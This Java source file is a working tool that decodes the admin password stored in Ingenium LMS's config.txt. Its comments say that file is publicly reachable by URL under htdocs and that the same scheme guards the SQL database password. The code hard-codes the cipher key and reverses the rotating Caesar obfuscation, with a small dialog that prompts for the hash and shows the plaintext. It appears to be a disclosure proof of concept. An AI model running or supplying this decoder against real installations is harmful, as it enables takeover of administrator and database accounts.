import javax.swing.JOptionPane;

/**
 * IngeniumDecoder
 * Simple program to decode the admin password hash present in the Ingenium
 * LMS config.txt file.  This file is stored within the htdocs directory
 * tree, so is available through a simple URL.  For instance, if your
 * Ingenium install is in http://suffolk.click2learn.com/suffolk_test/, then
 * the config file is located at 
 * http://suffolk.click2learn.com/suffolk_test/config/config.txt.  The same
 * password hashing scheme is used both for the "administrator" login account
 * and the SQL database DSN password.
 *
 * @author  Brian Enigma <enigma@netninja.com>
 */
public class IngeniumDecoder {
    /** The low end of the keyspace */
    public static int WRAP_BOTTOM = 0x20; // space
    /** The high end of the keyspace */
    public static int WRAP_TOP    = 0x7E; // close curley brace
    public static int CHAR_ZERO   = 0x6E;
    /** The symmetric key */
    public static String KEY      = "9'$%100'%6";
    
    /** 
     * Given some cyphertext, produce the plaintext.  The encryption method
     * employed is a simple Caesar cypher with a key that rotates depending
     * on the position of the character in the plaintext/cyphertext.  The
     * offset is determined by the KEY string above.  (This is similar to
     * obfuscation using ROT-13 coding, only the "13" changes by position.)
     *
     *@param s the cyphertext
     *@return the plaintext
     */
    public static String decode(String s) {
        StringBuffer result = new StringBuffer();
        int max = s.length();
        for (int i=0; i<max; i++) {
            int cypherLetter = (int) s.charAt(i);
            int keyLetter = (int) KEY.charAt(i % KEY.length());
            if (cypherLetter == keyLetter)
                continue;
            int decodeLetter = cypherLetter - keyLetter;
            if (decodeLetter < WRAP_BOTTOM)
                decodeLetter = WRAP_TOP - (WRAP_BOTTOM - decodeLetter);
            if ((decodeLetter >= CHAR_ZERO) && (decodeLetter <= CHAR_ZERO+10))
                result.append(decodeLetter - CHAR_ZERO + Character.getNumericValue('0'));
            else if ((decodeLetter >= WRAP_BOTTOM) && (decodeLetter <= WRAP_TOP))
                result.append(Character.toString((char) decodeLetter));
            else
                result.append("[unknown letter]");
        }
        return result.toString();
    }
    
    /** Creates a new instance of IngeniumDecoder */
    private IngeniumDecoder() {
    }
    
    public static void main(String[] argv) {
        //System.out.println(decode("|smh|#'hp{9'$%10"));
        String hashedPass = JOptionPane.showInputDialog(
            null,
            "Please enter the \"hashed\" admin password from config.txt",
            "Enter hash",
            JOptionPane.QUESTION_MESSAGE);
        if ((hashedPass != null) && (hashedPass.length() > 0))
            JOptionPane.showMessageDialog(
                null, 
                "The decoded password is " + decode(hashedPass),
                "Plaintext",
                JOptionPane.INFORMATION_MESSAGE);
        System.exit(0);
    }
    
}